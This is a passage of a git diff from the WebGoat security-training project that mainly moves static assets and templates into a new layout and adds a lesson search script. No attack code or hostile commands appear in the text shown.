webgoat-container/src/main/resources/static/js/libs/jquery-2.1.4.min.js rename to src/main/resources/webgoat/static/js/libs/jquery-2.1.4.min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery-base.js b/src/main/resources/webgoat/static/js/libs/jquery-base.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/jquery-base.js rename to src/main/resources/webgoat/static/js/libs/jquery-base.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery-ui-1.10.4.js b/src/main/resources/webgoat/static/js/libs/jquery-ui-1.10.4.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/jquery-ui-1.10.4.js rename to src/main/resources/webgoat/static/js/libs/jquery-ui-1.10.4.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery-ui.min.js b/src/main/resources/webgoat/static/js/libs/jquery-ui.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/jquery-ui.min.js rename to src/main/resources/webgoat/static/js/libs/jquery-ui.min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery-vuln.js b/src/main/resources/webgoat/static/js/libs/jquery-vuln.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/jquery-vuln.js rename to src/main/resources/webgoat/static/js/libs/jquery-vuln.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery.form.js b/src/main/resources/webgoat/static/js/libs/jquery.form.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/jquery.form.js rename to src/main/resources/webgoat/static/js/libs/jquery.form.js diff --git a/webgoat-container/src/main/resources/static/js/libs/jquery.min.js b/src/main/resources/webgoat/static/js/libs/jquery.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/jquery.min.js rename to src/main/resources/webgoat/static/js/libs/jquery.min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/mode-java.js b/src/main/resources/webgoat/static/js/libs/mode-java.js similarity index 99% rename from webgoat-container/src/main/resources/static/js/libs/mode-java.js rename to src/main/resources/webgoat/static/js/libs/mode-java.js index 779ede26c..3374fdcf0 100644 --- a/webgoat-container/src/main/resources/static/js/libs/mode-java.js +++ b/src/main/resources/webgoat/static/js/libs/mode-java.js @@ -831,7 +831,7 @@ var JavaHighlightRules = function() { "Readable|Runtime|StringBuilder|Math|IncompatibleClassChangeError|"+ "NoSuchMethodError|ThreadLocal|RuntimePermission|ArithmeticException|"+ "NullPointerException|Long|Integer|Short|Byte|Double|Number|Float|"+ - "Character|Boolean|StackTraceElement|Appendable|StringBuffer|"+ + "Character|Boolean|StackTraceElement|Appendable|StringBuilder|"+ "Iterable|ThreadGroup|Runnable|Thread|IllegalMonitorStateException|"+ "StackOverflowError|OutOfMemoryError|VirtualMachineError|"+ "ArrayStoreException|ClassCastException|LinkageError|"+ diff --git a/webgoat-container/src/main/resources/static/js/libs/polyglot.min.js b/src/main/resources/webgoat/static/js/libs/polyglot.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/polyglot.min.js rename to src/main/resources/webgoat/static/js/libs/polyglot.min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/require.min.js b/src/main/resources/webgoat/static/js/libs/require.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/require.min.js rename to src/main/resources/webgoat/static/js/libs/require.min.js diff --git a/webgoat-container/src/main/resources/static/js/libs/text.js b/src/main/resources/webgoat/static/js/libs/text.js similarity index 97% rename from webgoat-container/src/main/resources/static/js/libs/text.js rename to src/main/resources/webgoat/static/js/libs/text.js index 4c311edce..2743b46c7 100644 --- a/webgoat-container/src/main/resources/static/js/libs/text.js +++ b/src/main/resources/webgoat/static/js/libs/text.js @@ -311,14 +311,14 @@ define(['module'], function (module) { typeof Packages !== 'undefined' && typeof java !== 'undefined')) { //Why Java, why is this so awkward? text.get = function (url, callback) { - var stringBuffer, line, + var stringBuilder, line, encoding = "utf-8", file = new java.io.File(url), lineSeparator = java.lang.System.getProperty("line.separator"), input = new java.io.BufferedReader(new java.io.InputStreamReader(new java.io.FileInputStream(file), encoding)), content = ''; try { - stringBuffer = new java.lang.StringBuffer(); + stringBuilder = new java.lang.StringBuilder(); line = input.readLine(); // Byte Order Mark (BOM) - The Unicode Standard, version 3.0, page 324 @@ -334,15 +334,15 @@ define(['module'], function (module) { } if (line !== null) { - stringBuffer.append(line); + stringBuilder.append(line); } while ((line = input.readLine()) !== null) { - stringBuffer.append(lineSeparator); - stringBuffer.append(line); + stringBuilder.append(lineSeparator); + stringBuilder.append(line); } //Make sure we return a JavaScript string and not a Java string. - content = String(stringBuffer.toString()); //String + content = String(stringBuilder.toString()); //String } finally { input.close(); } diff --git a/webgoat-container/src/main/resources/static/js/libs/theme-monokai.js b/src/main/resources/webgoat/static/js/libs/theme-monokai.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/theme-monokai.js rename to src/main/resources/webgoat/static/js/libs/theme-monokai.js diff --git a/webgoat-container/src/main/resources/static/js/libs/underscore-min.js b/src/main/resources/webgoat/static/js/libs/underscore-min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/libs/underscore-min.js rename to src/main/resources/webgoat/static/js/libs/underscore-min.js diff --git a/webgoat-container/src/main/resources/static/js/main.js b/src/main/resources/webgoat/static/js/main.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/main.js rename to src/main/resources/webgoat/static/js/main.js diff --git a/webgoat-container/src/main/resources/static/js/modernizr.min.js b/src/main/resources/webgoat/static/js/modernizr.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/modernizr.min.js rename to src/main/resources/webgoat/static/js/modernizr.min.js diff --git a/webgoat-container/src/main/resources/static/js/quiz.js b/src/main/resources/webgoat/static/js/quiz.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/quiz.js rename to src/main/resources/webgoat/static/js/quiz.js diff --git a/webgoat-container/src/main/resources/static/js/scoreboard.js b/src/main/resources/webgoat/static/js/scoreboard.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/scoreboard.js rename to src/main/resources/webgoat/static/js/scoreboard.js diff --git a/src/main/resources/webgoat/static/js/search.js b/src/main/resources/webgoat/static/js/search.js new file mode 100644 index 000000000..1a56c2aec --- /dev/null +++ b/src/main/resources/webgoat/static/js/search.js @@ -0,0 +1,45 @@ +let input = document.getElementById('search'); +let timeout = null; + +input.addEventListener('keyup', function (e) { + clearTimeout(timeout); + timeout = setTimeout(function () { + //console.log('Value:', input.value); + search(input.value); + }, 1000); +}); + +function search(arg) { + var elementId = null; + lessons = document.querySelectorAll('[class="lesson"]'); + lessons.forEach(function(lesson) { + lessonLowerCase = lesson.textContent.toLowerCase(); + if (arg.length>2 && lessonLowerCase.includes(arg.toLowerCase())) { + if (arg.length<7 && arg.toLowerCase().includes('sql')) { + elementId = 'A3Injection-SQLInjectionintro'; + document.getElementById('search').value='sql injection'; + } else if (arg.length<9 && arg.toLowerCase().includes('pass')) { + elementId = 'A7IdentityAuthFailure-Passwordreset'; + document.getElementById('search').value='password'; + } else { + elementId = lesson.childNodes[0].id; + document.getElementById('search').value=lessonLowerCase; + } + } else { + return; + } + }); + + if (elementId != null) { + document.getElementById(elementId).click(); + categoryId = elementId.substring(0,elementId.indexOf("-")); + //extra click to make sure menu does not disappear on same category search + if (categoryId == 'Challenges') { + document.querySelectorAll('[category="Introduction"]')[0].click(); + } else { + document.querySelectorAll('[category="Challenges"]')[0].click(); + } + document.querySelectorAll('[category="'+categoryId+'"]')[0].click(); + } + +}; diff --git a/webgoat-container/src/main/resources/static/js/toggle.js b/src/main/resources/webgoat/static/js/toggle.js similarity index 100% rename from webgoat-container/src/main/resources/static/js/toggle.js rename to src/main/resources/webgoat/static/js/toggle.js diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap-slider/css/slider.css b/src/main/resources/webgoat/static/plugins/bootstrap-slider/css/slider.css similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap-slider/css/slider.css rename to src/main/resources/webgoat/static/plugins/bootstrap-slider/css/slider.css diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap-slider/js/bootstrap-slider.js b/src/main/resources/webgoat/static/plugins/bootstrap-slider/js/bootstrap-slider.js similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap-slider/js/bootstrap-slider.js rename to src/main/resources/webgoat/static/plugins/bootstrap-slider/js/bootstrap-slider.js diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/css/bootstrap-wysihtml5.css b/src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/css/bootstrap-wysihtml5.css similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/css/bootstrap-wysihtml5.css rename to src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/css/bootstrap-wysihtml5.css diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/css/bootstrap3-wysiwyg5-color.css b/src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/css/bootstrap3-wysiwyg5-color.css similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/css/bootstrap3-wysiwyg5-color.css rename to src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/css/bootstrap3-wysiwyg5-color.css diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/js/bootstrap3-wysihtml5.js b/src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/js/bootstrap3-wysihtml5.js similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/js/bootstrap3-wysihtml5.js rename to src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/js/bootstrap3-wysihtml5.js diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/js/wysihtml5-0.3.0.js b/src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/js/wysihtml5-0.3.0.js similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap-wysihtml5/js/wysihtml5-0.3.0.js rename to src/main/resources/webgoat/static/plugins/bootstrap-wysihtml5/js/wysihtml5-0.3.0.js diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap/css/bootstrap.min.css b/src/main/resources/webgoat/static/plugins/bootstrap/css/bootstrap.min.css similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap/css/bootstrap.min.css rename to src/main/resources/webgoat/static/plugins/bootstrap/css/bootstrap.min.css diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.eot b/src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.eot similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.eot rename to src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.eot diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.svg b/src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.svg similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.svg rename to src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.svg diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.ttf b/src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.ttf similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.ttf rename to src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.ttf diff --git a/webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff b/src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff rename to src/main/resources/webgoat/static/plugins/bootstrap/fonts/glyphicons-halflings-regular.woff diff --git a/webgoat-container/src/main/resources/static/plugins/nanoScroller/jquery.nanoscroller.min.js b/src/main/resources/webgoat/static/plugins/nanoScroller/jquery.nanoscroller.min.js similarity index 100% rename from webgoat-container/src/main/resources/static/plugins/nanoScroller/jquery.nanoscroller.min.js rename to src/main/resources/webgoat/static/plugins/nanoScroller/jquery.nanoscroller.min.js diff --git a/webgoat-container/src/main/resources/templates/about.html b/src/main/resources/webgoat/templates/about.html similarity index 98% rename from webgoat-container/src/main/resources/templates/about.html rename to src/main/resources/webgoat/templates/about.html index c7bdcd08f..3df5864cb 100644 --- a/webgoat-container/src/main/resources/templates/about.html +++ b/src/main/resources/webgoat/templates/about.html @@ -53,6 +53,7 @@
  • Doug Morato (Developer & CI)
  • Bruce Mayhew (Developer)
  • René Zubcevic (Developer)
  • +
  • Àngel Ollé Blázquez (Developer)
  • diff --git a/webgoat-container/src/main/resources/templates/lesson_content.html b/src/main/resources/webgoat/templates/lesson_content.html similarity index 65% rename from webgoat-container/src/main/resources/templates/lesson_content.html rename to src/main/resources/webgoat/templates/lesson_content.html index 728ae97b2..cecb98d27 100644 --- a/webgoat-container/src/main/resources/templates/lesson_content.html +++ b/src/main/resources/webgoat/templates/lesson_content.html @@ -8,6 +8,6 @@

    -
    +
    - \ No newline at end of file + diff --git a/webgoat-container/src/main/resources/templates/login.html b/src/main/resources/webgoat/templates/login.html similarity index 89% rename from webgoat-container/src/main/resources/templates/login.html rename to src/main/resources/webgoat/templates/login.html index bee48ffd7..9e0940ae3 100644 --- a/webgoat-container/src/main/resources/templates/login.html +++ b/src/main/resources/webgoat/templates/login.html @@ -2,6 +2,7 @@ Login Page + @@ -31,11 +32,11 @@
    + id="exampleInputEmail1" th:placeholder="#{username}" name='username' />
    -
    @@ -48,4 +49,4 @@ - \ No newline at end of file + diff --git a/webgoat-container/src/main/resources/templates/main_new.html b/src/main/resources/webgoat/templates/main_new.html similarity index 68% rename from webgoat-container/src/main/resources/templates/main_new.html rename to src/main/resources/webgoat/templates/main_new.html index 42bfc698a..7a0f1d3b9 100644 --- a/webgoat-container/src/main/resources/templates/main_new.html +++ b/src/main/resources/webgoat/templates/main_new.html @@ -8,14 +8,13 @@ - + - @@ -25,7 +24,7 @@ - + WebGoat @@ -40,7 +39,17 @@
    -
    + +
    + + + + + +
    +
    + + +
    + +
    +
    @@ -81,10 +138,12 @@
    + + + +
    diff --git a/webgoat-container/src/main/resources/templates/registration.html b/src/main/resources/webgoat/templates/registration.html similarity index 74% rename from webgoat-container/src/main/resources/templates/registration.html rename to src/main/resources/webgoat/templates/registration.html index fc8a4e517..cf9b8a69f 100644 --- a/webgoat-container/src/main/resources/templates/registration.html +++ b/src/main/resources/webgoat/templates/registration.html @@ -31,14 +31,14 @@
    + id="username" th:placeholder="#{username}" name='username'/>
    Username error
    -
    Password error @@ -47,7 +47,7 @@
    -
    Password error @@ -55,22 +55,11 @@
    - +
    -

    - While running this program your machine will be extremely - vulnerable to attack. You should disconnect from the Internet while using - this program. WebGoat's default configuration binds to localhost to minimize - the exposure. -

    -

    - This program is for educational purposes only. If you attempt - these techniques without authorization, you are very likely to get caught. If - you are caught engaging in unauthorized hacking, most companies will fire you. - Claiming that you were doing security research will not work as that is the - first thing that all hackers claim. -

    +

    Condition1

    +

    Condition2

    @@ -79,8 +68,8 @@
    @@ -99,4 +88,4 @@ - \ No newline at end of file + diff --git a/webgoat-container/src/main/resources/templates/scoreboard.html b/src/main/resources/webgoat/templates/scoreboard.html similarity index 100% rename from webgoat-container/src/main/resources/templates/scoreboard.html rename to src/main/resources/webgoat/templates/scoreboard.html diff --git a/src/main/resources/webwolf/static/css/img/webwolf.ico b/src/main/resources/webwolf/static/css/img/webwolf.ico new file mode 100644 index 000000000..d75680a69 Binary files /dev/null and b/src/main/resources/webwolf/static/css/img/webwolf.ico differ diff --git a/webwolf/src/main/resources/static/css/main.css b/src/main/resources/webwolf/static/css/webwolf.css similarity index 100% rename from webwolf/src/main/resources/static/css/main.css rename to src/main/resources/webwolf/static/css/webwolf.css diff --git a/webwolf/src/main/resources/static/images/wolf.png b/src/main/resources/webwolf/static/images/wolf.png similarity index 100% rename from webwolf/src/main/resources/static/images/wolf.png rename to src/main/resources/webwolf/static/images/wolf.png diff --git a/src/main/resources/webwolf/static/images/wolf.svg b/src/main/resources/webwolf/static/images/wolf.svg new file mode 100644 index 000000000..bf9155f45 --- /dev/null +++ b/src/main/resources/webwolf/static/images/wolf.svg @@ -0,0 +1,80 @@ + + + + + + + image/svg+xml + + + Illustration to "Burial Mound" poem by Yanka Kupala. Engraving by Arlen Kashkurevich. + Wolf + + + Staffan Vilcans (trace) + + + + + + + + + + + + + + + + diff --git a/webwolf/src/main/resources/static/js/fileUpload.js b/src/main/resources/webwolf/static/js/fileUpload.js similarity index 64% rename from webwolf/src/main/resources/static/js/fileUpload.js rename to src/main/resources/webwolf/static/js/fileUpload.js index b913bce8c..6883dbf4b 100644 --- a/webwolf/src/main/resources/static/js/fileUpload.js +++ b/src/main/resources/webwolf/static/js/fileUpload.js @@ -7,9 +7,5 @@ $(document).ready(function() { }); $(document).on('click','.fa-files-o',function(){ - var link = $('#fileLink').attr("href"); - console.log("testing" + document.protocol + "//" + (document.hostname || document.pathname + link)); - - document.execCommand('copy'); -}); \ No newline at end of file +}); diff --git a/webwolf/src/main/resources/static/js/jwt.js b/src/main/resources/webwolf/static/js/jwt.js similarity index 100% rename from webwolf/src/main/resources/static/js/jwt.js rename to src/main/resources/webwolf/static/js/jwt.js diff --git a/webwolf/src/main/resources/static/js/mail.js b/src/main/resources/webwolf/static/js/mail.js similarity index 100% rename from webwolf/src/main/resources/static/js/mail.js rename to src/main/resources/webwolf/static/js/mail.js diff --git a/webwolf/src/main/resources/templates/error.html b/src/main/resources/webwolf/templates/error.html similarity index 100% rename from webwolf/src/main/resources/templates/error.html rename to src/main/resources/webwolf/templates/error.html diff --git a/webwolf/src/main/resources/templates/files.html b/src/main/resources/webwolf/templates/files.html similarity index 93% rename from webwolf/src/main/resources/templates/files.html rename to src/main/resources/webwolf/templates/files.html index b3bcde29c..5ba247373 100644 --- a/webwolf/src/main/resources/templates/files.html +++ b/src/main/resources/webwolf/templates/files.html @@ -20,7 +20,7 @@

    Each file will be available under the following url: - http://localhost:9090//files/{username}/{filename}. + http://localhost:9090/WebWolf//files/{username}/{filename}.

    You can copy and paste the location from the table below. @@ -34,7 +34,7 @@

    - +
    @@ -69,4 +69,4 @@
    - \ No newline at end of file + diff --git a/webwolf/src/main/resources/templates/fragments/footer.html b/src/main/resources/webwolf/templates/fragments/footer.html similarity index 54% rename from webwolf/src/main/resources/templates/fragments/footer.html rename to src/main/resources/webwolf/templates/fragments/footer.html index 5a536d03b..44523a297 100644 --- a/webwolf/src/main/resources/templates/fragments/footer.html +++ b/src/main/resources/webwolf/templates/fragments/footer.html @@ -6,14 +6,11 @@
    -
    - © 2020 WebGoat - Use WebWolf at your own risk - + © 2022 WebGoat - Use WebWolf at your own risk
    - \ No newline at end of file + diff --git a/webwolf/src/main/resources/templates/fragments/header.html b/src/main/resources/webwolf/templates/fragments/header.html similarity index 58% rename from webwolf/src/main/resources/templates/fragments/header.html rename to src/main/resources/webwolf/templates/fragments/header.html index d8c3413d8..dbf525a7d 100644 --- a/webwolf/src/main/resources/templates/fragments/header.html +++ b/src/main/resources/webwolf/templates/fragments/header.html @@ -2,12 +2,11 @@ WebWolf
    - - - - - + + + + +
    @@ -15,23 +14,23 @@